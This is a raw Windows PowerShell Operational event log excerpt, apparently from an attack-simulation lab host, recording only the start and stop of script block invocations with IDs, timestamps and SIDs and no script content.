Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028781
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028779
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028778
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028761
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028755
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
